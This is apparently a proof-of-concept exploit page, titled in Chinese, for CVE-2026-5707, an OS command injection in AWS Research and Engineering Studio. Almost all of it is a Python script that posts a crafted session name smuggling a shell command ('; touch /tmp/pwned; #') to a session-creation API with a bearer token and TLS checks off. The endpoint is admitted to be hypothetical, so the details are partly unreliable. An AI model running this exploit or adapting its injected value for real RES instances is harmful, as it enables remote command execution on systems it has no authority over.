CVE-2026-5707 AWS RES 远程命令执行漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-5707: AWS RES OS Command Injection. This script demonstrates exploiting the vulnerability via a crafted session name. """ import requests def exploit(target_url, auth_token): headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to create a file as proof of execution # The semicolon closes the original command and starts a new one malicious_session_name = "valid_name; touch /tmp/pwned; #" payload = { "session_name": malicious_session_name, "configuration_id": "default" } try: # Endpoint responsible for session creation (hypothetical based on description) response = requests.post(f"{target_url}/api/sessions", json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check /tmp/pwned on the host.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and token TARGET = "https://res-instance.example.com" TOKEN = "<YOUR_AUTH_TOKEN>" exploit(TARGET, TOKEN)